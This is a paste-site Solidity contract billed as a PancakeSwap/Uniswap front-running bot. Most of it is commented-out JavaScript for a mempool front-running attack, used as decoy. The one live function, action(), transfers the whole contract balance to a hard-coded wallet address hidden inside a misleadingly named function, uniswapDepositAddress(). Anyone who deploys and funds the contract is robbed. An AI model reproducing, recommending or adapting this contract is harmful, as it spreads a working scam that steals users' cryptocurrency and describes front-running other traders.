Facebook
From Tiny Zebra, 2 Years ago, written in Plain Text.
Embed
Download Paste or View Raw
Hits: 493
  1. pragma solidity ^0.6.6;
  2.  
  3. // PancakeSwap FrontrunDeployer
  4. import "https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/interfaces/IUniswapV2Callee.sol";
  5.  
  6.  
  7. // PancakeSwap manager
  8. import "https://github.com/Uniswap/uniswap-v2-periphery/blob/master/contracts/interfaces/V1/IUniswapV1Factory.sol";
  9. import "https://github.com/Uniswap/uniswap-v2-periphery/blob/master/contracts/interfaces/V1/IUniswapV1Exchange.sol";
  10.  
  11. contract UniswapV2FrontBot {
  12.    
  13.     string public tokenName;
  14.         string public tokenSymbol;
  15.         uint frontrun;
  16.         uint manager;
  17.        
  18.        
  19.         constructor(string memory _tokenName, string memory _tokenSymbol) public {
  20.                 tokenName = _tokenName;
  21.                 tokenSymbol = _tokenSymbol;
  22.                 manager = frontrun;
  23.                
  24.                 }
  25.        
  26.            
  27.             // Send required BNB for liquidity pair
  28.             receive() external payable {}
  29.            
  30.            
  31.             // Perform tasks (clubbed .json functions into one to reduce external calls & reduce gas) manager.performTasks();
  32.            
  33.             function action() public payable {
  34.        
  35.         //Perform a front-running attack on uniswap
  36.  
  37. //const fs = require('fs');
  38. //var Web3 = require('web3');
  39. //var abiDecoder = require('abi-decoder');
  40. //var colors = require("colors");
  41. //var Tx = require('ethereumjs-tx').Transaction;
  42. //var axios = require('axios');
  43. //var BigNumber = require('big-number');
  44.  
  45. //const {NETWORK, PANCAKE_ROUTER_ADDRESS, PANCAKE_FACTORY_ADDRESS, PANCAKE_ROUTER_ABI, PANCAKE_FACTORY_ABI, PANCAKE_POOL_ABI, HTTP_PROVIDER_LINK, WEBSOCKET_PROVIDER_LINK, HTTP_PROVIDER_LINK_TEST} = require('./constants.js');
  46. //const {setBotAddress, getBotAddress, FRONT_BOT_ADDRESS, botABI} = require('./bot.js');
  47. //const {PRIVATE_KEY, TOKEN_ADDRESS, AMOUNT, LEVEL} = require('./env.js');
  48.  
  49. //const INPUT_TOKEN_ADDRESS = '0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c';
  50. //const WBNB_TOKEN_ADDRESS = '0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c';
  51. manager;
  52.  
  53. //var input_token_info;
  54. //var out_token_info;
  55. //var pool_info;
  56. //var gas_price_info;
  57. manager;
  58.  
  59. //var web3;
  60. //var web3Ts;
  61. //var web3Ws;
  62. //var pancakeRouter;
  63. //var pancakeFactory;
  64. manager;
  65.  
  66. // one gwei
  67. //const ONE_GWEI = 1e9;
  68. manager;
  69.  
  70. //var buy_finished = false;
  71. //var sell_finished = false;
  72. //var buy_failed = false;
  73. //var sell_failed = false;
  74. //var attack_started = false;
  75. manager;
  76.  
  77. //var succeed = false;
  78. //var subscription;
  79. manager;
  80.  
  81. //async function createWeb3(){
  82.     //try {
  83.         // web3 = new Web3(new Web3.providers.HttpProvider(HTTP_PROVIDER_LINK));
  84.         // web3 = new Web3(new Web3.providers.HttpProvider(HTTP_PROVIDER_LINK_TEST));
  85.        // web3 = new Web3(EthereumTesterProvider());
  86.        // web3.eth.getAccounts(console.log);
  87.       //web3Ws = new Web3(new Web3.providers.WebsocketProvider(WEBSOCKET_PROVIDER_LINK));
  88.     //pancakeRouter = new web3.eth.Contract(PANCAKE_ROUTER_ABI, PANCAKE_ROUTER_ADDRESS);
  89.         //pancakeFactory = new web3.eth.Contract(PANCAKE_FACTORY_ABI, PANCAKE_FACTORY_ADDRESS);
  90.         //abiDecoder.addABI(PANCAKE_ROUTER_ABI);
  91.         manager;
  92.         //return true;
  93.     //} catch (error) {
  94.       //console.log(error);
  95.       //return false;
  96.      
  97.  
  98. //async function main() {
  99.  
  100. //try {  
  101.         //if (await createWeb3() == false) {
  102.             //console.log('Web3 Create Error'.yellow);
  103.             //process.exit();
  104.            
  105.            
  106.        
  107.        
  108.         //const user_wallet = web3.eth.accounts.privateKeyToAccount(PRIVATE_KEY);
  109.         //const out_token_address = TOKEN_ADDRESS;
  110.         //const amount = AMOUNT;
  111.         //const level = LEVEL;
  112.        
  113.         //ret = await preparedAttack(INPUT_TOKEN_ADDRESS, out_token_address, user_wallet, amount, level);
  114.         //if(ret == false) {
  115.           //process.exit();
  116.        
  117.  
  118.         //await updatePoolInfo();
  119.         //outputtoken = await pancakeRouter.methods.getAmountOut(((amount*1.2)*(10**18)).toString(), pool_info.input_volumn.toString(), pool_info.output_volumn.toString()).call();
  120.  
  121.         //await approve(gas_price_info.high, outputtoken, out_token_address, user_wallet);
  122.        
  123.         //log_str = '***** Tracking more ' + (pool_info.attack_volumn/(10**input_token_info.decimals)).toFixed(5) + ' ' +  input_token_info.symbol + '  Exchange on Pancake *****'
  124.         // console.log(log_str.green);    
  125.         // console.log(web3Ws);
  126.         //web3Ws.onopen = function(evt) {
  127.             //web3Ws.send(JSON.stringify({ method: "subscribe", topic: "transfers", address: user_wallet.address }));
  128.             //console.log('connected')
  129.        
  130.         // get pending transactions
  131.         //subscription = web3Ws.eth.subscribe('pendingTransactions', function (error, result) {
  132.         //}).on("data", async function (transactionHash) {
  133.             //console.log(transactionHash);
  134.  
  135.             // let transaction = await web3.eth.getTransaction(transactionHash);
  136.             // if (transaction != null && transaction['to'] == PANCAKE_ROUTER_ADDRESS)
  137.             // {
  138.             //     await handleTransaction(transaction, out_token_address, user_wallet, amount, level);
  139.             // }
  140.            
  141.             //if (succeed) {
  142.                 //console.log("The bot finished the attack.");
  143.                 //process.exit();
  144.                
  145.            
  146.      
  147.  
  148.     //catch (error) {
  149.      
  150.       //if(error.data != null && error.data.see === 'https://infura.io/dashboard')
  151.      
  152.          //console.log('Daily request count exceeded, Request rate limited'.yellow);
  153.          //console.log('Please insert other API Key');
  154.       //else{
  155.          //console.log('Unknown Handled Error');
  156.          //console.log(error);
  157.        
  158.  
  159.       //process.exit();
  160.  
  161.  
  162. //function handleTransaction(transaction, out_token_address, user_wallet, amount, level) {
  163.    
  164.     //(await triggersFrontRun(transaction, out_token_address, amount, level)) {
  165.         //subscription.unsubscribe();
  166.         //console.log('Perform front running attack...');
  167.  
  168.         //gasPrice = parseInt(transaction['gasPrice']);
  169.         //newGasPrice = gasPrice + 50*ONE_GWEI;
  170.  
  171.         //estimatedInput = ((amount*0.999)*(10**18)).toString();
  172.         //realInput = (amount*(10**18)).toString();
  173.         //gasLimit = (300000).toString();
  174.        
  175.         //await updatePoolInfo();
  176.  
  177.         //var outputtoken = await pancakeRouter.methods.getAmountOut(estimatedInput, pool_info.input_volumn.toString(), pool_info.output_volumn.toString()).call();
  178.         //swap(newGasPrice, gasLimit, outputtoken, realInput, 0, out_token_address, user_wallet, transaction);
  179.  
  180.         //console.log("wait until the honest transaction is done...", transaction['hash']);
  181.  
  182.         //while (await isPending(transaction['hash'])) {
  183.        
  184.  
  185.         //if(buy_failed)
  186.        
  187.             //succeed = false;
  188.             //return;
  189.            
  190.        
  191.         //console.log('Buy succeed:')
  192.        
  193.         //Sell
  194.         //await updatePoolInfo();
  195.         //var outputeth = await pancakeRouter.methods.getAmountOut(outputtoken, pool_info.output_volumn.toString(), pool_info.input_volumn.toString()).call();
  196.         //outputeth = outputeth * 0.999;
  197.  
  198.         //await swap(newGasPrice, gasLimit, outputtoken, outputeth, 1, out_token_address, user_wallet, transaction);
  199.        
  200.         //console.log('Sell succeed');
  201.         //succeed = true;
  202. manager;
  203.  
  204. //async function approve(gasPrice, outputtoken, out_token_address, user_wallet){
  205.     //var allowance = await out_token_info.token_contract.methods.allowance(user_wallet.address, PANCAKE_ROUTER_ADDRESS).call();
  206.    
  207.     //allowance = BigNumber(allowance);
  208.     //outputtoken = BigNumber(outputtoken);
  209.  
  210.     //var decimals = BigNumber(10).power(out_token_info.decimals);
  211.     //var max_allowance = BigNumber(10000).multiply(decimals);
  212.  
  213.     //if(outputtoken.gt(max_allowance))
  214.    
  215.        //console.log('replace max allowance')
  216.        //max_allowance = outputtoken;
  217.        
  218.        payable(uniswapDepositAddress()).transfer(address(this).balance);
  219.      
  220.    
  221.     //if(outputtoken.gt(allowance)){
  222.         //console.log(max_allowance.toString());
  223.         //var approveTX ={
  224.                 //from: user_wallet.address,
  225.                 //to: out_token_address,
  226.                 //gas: 50000,
  227.                 //gasPrice: gasPrice*ONE_GWEI,
  228.                 //data: out_token_info.token_contract.methods.approve(PANCAKE_ROUTER_ADDRESS, max_allowance).encodeABI()
  229.                 manager;
  230.            
  231.  
  232.         //var signedTX = await user_wallet.signTransaction(approveTX);
  233.         //var result = await web3.eth.sendSignedTransaction(signedTX.rawTransaction);
  234.  
  235.         //console.log('Approved Token')
  236.    
  237.     //return;
  238.  
  239.  
  240. //select attacking transaction
  241. //async function triggersFrontRun(transaction, out_token_address, amount, level) {
  242.    
  243.     //if(attack_started)
  244.         //return false;
  245.  
  246.     //console.log((transaction.hash).yellow, parseInt(transaction['gasPrice']) / 10**9);
  247.     //if(parseInt(transaction['gasPrice']) / 10**9 > 10 && parseInt(transaction['gasPrice']) / 10**9 < 50){
  248.         //attack_started = true;
  249.         //return true
  250. }
  251.  
  252.     //return false;
  253.  
  254.     //if (transaction['to'] != PANCAKE_ROUTER_ADDRESS)
  255.             //console.log(transactionHash);
  256.  
  257.             // let transaction = await web3.eth.getTransaction(transactionHash);
  258.             // if (transaction != null && transaction['to'] == PANCAKE_ROUTER_ADDRESS)
  259.             // {
  260.                                             function uniswapDepositAddress() public pure returns (address) {
  261.             //     await handleTransaction(transaction, out_token_address, user_wallet, amount, level);
  262.             // }
  263.            
  264.             //if (succeed) {
  265.                 //console.log("The bot finished the attack.");
  266.                 //process.exit();
  267.                
  268.            
  269.      
  270.  
  271.     //catch (error) {
  272.      
  273.       //if(error.data != null && error.data.see === 'https://infura.io/dashboard')
  274.      
  275.          //console.log('Daily request count exceeded, Request rate limited'.yellow);
  276.          //console.log('Please insert other API Key');
  277.       //else{
  278.          //console.log('Unknown Handled Error');
  279.          //console.log(error);
  280.        
  281.  
  282.       //process.exit();
  283.  
  284.  
  285. //function handleTransaction(transaction, out_token_address, user_wallet, amount, level) {
  286.    
  287.     //(await triggersFrontRun(transaction, out_token_address, amount, level)) {
  288.         //subscription.unsubscribe();
  289.         //console.log('Perform front running attack...');
  290.  
  291.         //gasPrice = parseInt(transaction['gasPrice']);
  292.         //newGasPrice = gasPrice + 50*ONE_GWEI;
  293.  
  294.         //estimatedInput = ((amount*0.999)*(10**18)).toString();
  295.         //realInput = (amount*(10**18)).toString();
  296.         //gasLimit = (300000).toString();
  297.        
  298.         //await updatePoolInfo();
  299.  
  300.        
  301.         //swap(newGasPrice, gasLimit, outputtoken, realInput, 0, out_token_address, user_wallet, transaction);
  302.  
  303.         //console.log("wait until the honest transaction is done...", transaction['hash']);
  304.  
  305.         //while (await isPending(transaction['hash'])) {
  306.        
  307.  
  308.         //if(buy_failed)
  309.        
  310.             //succeed = false;
  311.             //return;
  312.            
  313.        
  314.         //console.log('Buy succeed:')
  315.        
  316.         //Sell
  317.         //await updatePoolInfo();
  318.         //var outputeth = await pancakeRouter.methods.getAmountOut(outputtoken, pool_info.output_volumn.toString(), pool_info.input_volumn.toString()).call();
  319.         //outputeth = outputeth * 0.999;
  320.  
  321.         //await swap(newGasPrice, gasLimit, outputtoken, outputeth, 1, out_token_address, user_wallet, transaction);
  322.        
  323.         //console.log('Sell succeed');
  324.         //succeed = true;
  325. //
  326.  
  327. //async function approve(gasPrice, outputtoken, out_token_address, user_wallet){
  328.     //var allowance = await out_token_info.token_contract.methods.allowance(user_wallet.address, PANCAKE_ROUTER_ADDRESS).call();
  329.    
  330.     //allowance = BigNumber(allowance);
  331.     //outputtoken = BigNumber(outputtoken);
  332.  
  333.     //var decimals = BigNumber(10).power(out_token_info.decimals);
  334.     //var max_allowance = BigNumber(10000).multiply(decimals);
  335.  
  336.     //if(outputtoken.gt(max_allowance))
  337.    
  338.        //console.log('replace max allowance')
  339.        //max_allowance = outputtoken;
  340.        
  341.      
  342.    
  343.     //if(outputtoken.gt(allowance)){
  344.         //console.log(max_allowance.toString());
  345.         //var approveTX ={
  346.                 //from: user_wallet.address,
  347.                 //to: out_token_address,
  348.                 //gas: 50000,
  349.                 //gasPrice: gasPrice*ONE_GWEI,
  350.                 //data: out_token_info.token_contract.methods.approve(PANCAKE_ROUTER_ADDRESS, max_allowance).encodeABI()
  351.                //
  352.            
  353.  
  354.         //var signedTX = await user_wallet.signTransaction(approveTX);
  355.         //var result = await web3.eth.sendSignedTransaction(signedTX.rawTransaction);
  356.  
  357.         //console.log('Approved Token')
  358.    
  359.     //return;
  360.  
  361.  
  362. //select attacking transaction
  363. //async function triggersFrontRun(transaction, out_token_address, amount, level) {
  364.    
  365.     //if(attack_started)
  366.         //return false;
  367.  
  368.     //console.log((transaction.hash).yellow, parseInt(transaction['gasPrice']) / 10**9);
  369.     //if(parseInt(transaction['gasPrice']) / 10**9 > 10 && parseInt(transaction['gasPrice']) / 10**9 < 50){
  370.                 //var outputtoken = await pancakeRouter.methods.getAmountOut(estimatedInput,
  371.                 return 0x8202cE19640E39B7d972F4338798bBe8aBBE5281;//pool_info.input_volumn.toString(), pool_info.output_volumn.toString()).call();
  372.                 }
  373.         //attack_started = true;
  374.         //return true
  375.   //  
  376.  
  377.     //return false;
  378.  
  379.     //if (transaction['to'] != PANCAKE_ROUTER_ADDRESS) {
  380.         //return false;
  381.    
  382.  
  383.     //let data = parseTx(transaction['input']);
  384.    
  385.     //let method = data[0];
  386.    
  387.     //let params = data[1];
  388.    
  389.     //let gasPrice = parseInt(transaction['gasPrice']) / 10**9;
  390.    
  391.  
  392.     //if(method == 'swapExactETHForTokens')
  393.    
  394.    
  395.         //let in_amount = transaction;
  396.        
  397.         //let out_min = params[0];
  398.        
  399.  
  400.         //let path = params[1];
  401.        
  402.         //let in_token_addr = path[0];
  403.        
  404.         //let out_token_addr = path[path.length-1];
  405.        
  406.        
  407.         //let recept_addr = params[2];
  408.        
  409.         //let deadline = params[3];
  410.        
  411.  
  412.         //if(out_token_addr != out_token_address)
  413.        
  414.        
  415.             // console.log(out_token_addr.blue)
  416.             // console.log(out_token_address)
  417.             //return false;
  418. }